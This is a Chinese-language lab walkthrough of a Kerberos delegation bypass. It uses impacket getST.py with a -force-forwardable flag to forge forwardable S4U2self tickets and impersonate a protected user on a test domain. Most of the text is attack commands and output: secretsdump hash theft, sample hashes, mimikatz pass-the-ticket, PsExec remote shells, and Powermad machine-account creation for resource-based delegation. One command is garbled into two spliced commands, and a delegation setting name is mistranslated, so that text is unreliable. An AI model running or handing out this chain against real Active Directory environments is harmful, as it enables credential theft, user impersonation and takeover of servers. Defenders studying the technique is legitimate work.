在getST.py(https://github.com/SecureAuthCorp/impacket/blob/master/examples/)中添加了一个新的PR-force-forwardable标识。启用该标识后,程序将执行以下步骤(新添加的内容以粗体显示):
通过编辑票据并将其forwardable bit 强制设置为1,该程序可以模拟作为“受保护的用户”组成员或使用“帐户敏感且无法委派(Account is sensitive and cannot be delegated")”设置配置的用户。这也允许该程序与为“仅Kerberos”约束委派配置的服务一起使用。
在下面的示例中,“Service1”允许对“Service2”执行约束委派,而User2被配置为“账号敏感且无法委派(sensitive and cannot delegat)”。如果没有该-force-forwardable标识,则S4U2proxy交换将失败,因为S4U2self返回的票据不可转发。使用新的标识,程序将成功执行并生成可用于模拟User2的服务票据。可以通过mimikatz加载该票据,并立即以User2身份访问Service2。
在这个场景中,我们将看到利用该漏洞将如何使绕过“信任此用户以仅委派给指定服务–仅使用Kerberos”保护,并模拟受委派保护的用户。
测试域(test.local)含有3台运行Windows Server 2019版本的服务器,但未修复该漏洞。将在Service1服务器上以User1的身份发起攻击。并对User2账号发起攻击,因为Service2服务器具有管理访问权限。将为所有Kerberos票证与域控制器(DC)交互。
在DC上,对Service1进行配置,以使其可以执行约束委派,而无需将协议转换为Service2上。这样可以确保满足攻击路径第3步的条件。如果在Active Directory GUI中设置了此配置,将如下所示:
在DC上还需要更新User2帐户,以防止其受约束委派。帐户可以配置为“帐户敏感且无法委派”属性。该帐户也可以成为“受保护的用户”组的成员。这些配置更改中的一个或两个都是等效的:
使用“帐户敏感且无法委派”属性配置User2:
退出域控制器,并以User1身份登录Service1服务器上。以获取初始攻击据点(攻击路径中的第1步)。启动PowerShell会话,并确认User1和Service1当前无法在其自己的授权下访问Service2。
命令:
whoami
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
执行:
已确认User1无法直接访问Service2。继续进行攻击路径的第2步:获取Service1的哈希值。在这个场景中,将使用Impacket的secretsdump.py来获取Service1计算机帐户的AES256-CTS-HMAC-SHA1-96值和LM:NTLM哈希值。
命令:
python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'
执行:
在获得必要的哈希之后,将首先尝试在没有-force-forwardable标识的情况下执行getST.py程序。无法执行成功。如上所述,S4U2self交换仍将服务票据返回给User2的Service1,但是由于服务的委派限制和用户不受委派的保护,该票据的Forwardable标识没有被设置。这会导致在S4U2proxy交换中将票据用作认证时出错
命令:
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1
执行:
运行漏洞利用程序,这是攻击路径的第4步。我们将重复前面的命令,但是这次包括-force-forwardable命令行参数
命令:
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable
getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
执行:
命令成功输出:
Service ticket from S4U2self flags: 00000000101000010000000000000000
Service ticket from S4U2self is not forwardable
Forcing the service ticket to be forwardable
Service ticket flags after modification: 01000000101000010000000000000000
Service ticket from S4U2self now is forwardable
通过包含-force-forwardable标志,该漏洞利用会自动执行,并将从S4U2self交换接收的服务票据转换为可转发票据。这是通过使用Service1的哈希值解密票据,将标志值中的第二位从0更改为1,然后重新加密票据。此可转发票据在S4U2proxy交换中发送,Service2作为User2的服务票证被返回并写入到User2.ccache的磁盘上。
接下来,将使用Mimikatz将服务票据加载到票据缓存中以供使用。加载后,将看到Mimikatz确认这是User2访问Service2的cifs服务的有效票据。
命令:
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
或者
mimikatz(commandline) # kerberos::ptc User2.ccache
执行:
将服务票据添加到缓存后,现在就可以像访问User2一样访问Service2了。我们拥有User2在Service2上的所有权限。我们将使用Mark Russinovich的PSExec在Service2服务器上获取PowerShell会话,并运行一些命令。这是攻击路径的最后一步。
命令:
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
whoami
hostname
执行:
我们将继续使用上一个示例中的环境,并进行一些修改。目标User2帐户可以保留其配置为“受保护的用户”成员的身份,或使用“帐户敏感且无法委派”属性来保持其配置
首先,删除Service1的委派权限。连接到DC并使用“不信任此计算机进行委派”配置Service1
编辑Service2计算机对象,授予User1写入权限。当我们直接向User1用户授予权限时,用户通常将通过特权组的成员身份获得对一个或多个AD对象的写权限。用户不一定需要是域管理员。
退出域控制器,并以User1身份登录Service1服务器。以获取初始攻击据点(攻击路径中的第1步)。如果从第一个示例中继续攻击,确保清除本地Kerberos票据缓存。清除缓存的最有效方法就是重新启动Service1。
与前面的示例不同,此攻击不会利用Service1和Service2之间的任何委派信任关系。在将Service1配置为“不信任此计算机进行委派(Do trust This computer for delegation)”后,此信任关系不再存在。我们需要与Service2建立一个新的委派关系,这次是一个全新的服务。
为了在环境中创建新服务,我们将使用Kevin Robertson的Powermad创建一个新的计算机帐户。这不需要提升账号的权限,默认情况下,域中的任何用户都可以使用。我们将计算机帐户命名为“AttackerService”,并提供一个任意密码如:“AttackerServicePassword”
命令:
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
执行:
由于我们选择了新机器帐户的密码,因此我们可以使用Mimikatz轻松计算出相应的密码哈希。这将完成攻击路径的步骤2。
命令:
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
执行:
让我们使用PowerShell Active Directory模块检查我们新创建的机器帐户。由于该模块尚不可用,因此我们将安装相应的功能,导入该模块,然后检查我们新创建的计算机帐户。
命令:
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
执行:
在确认机器帐户的存在后,我们可以在Service2和AttackerService之间建立受约束的委派信任关系。因为User1(我们的受控立足点帐户)对Service2对象具有写权限,所以我们可以将AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。这将在Service2上建立基于资源的约束委派,从AttackerService接受约束委派。完成此步骤后,我们就满足了攻击路径第3步的条件。
命令:
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
执行:
我们准备继续执行攻击路径的第4步并执行漏洞利用。我们将使用与上一个示例相同的命令,但是这次指定AttackerService而不是Service1,并且使用Mimikatz计算哈希值。当在命令中包含-force-forwardable标志时,我们将看到与上一个示例相同的结果。执行漏洞利用,设置可转发标志,并将作为User2的Service2的服务票证写入到User2.ccache的磁盘上。
命令:
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
执行:
现在,我们可以简单地重复前面例子中的最后命令。通过使用Mimikatz将服务票据加载到我们的本地Kerberos票据缓存中,我们将为攻击路径的第5步做准备。然后,我们将通过与Service2进行交互(模拟User2)来执行步骤5
命令:
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
whoami
hostname
执行: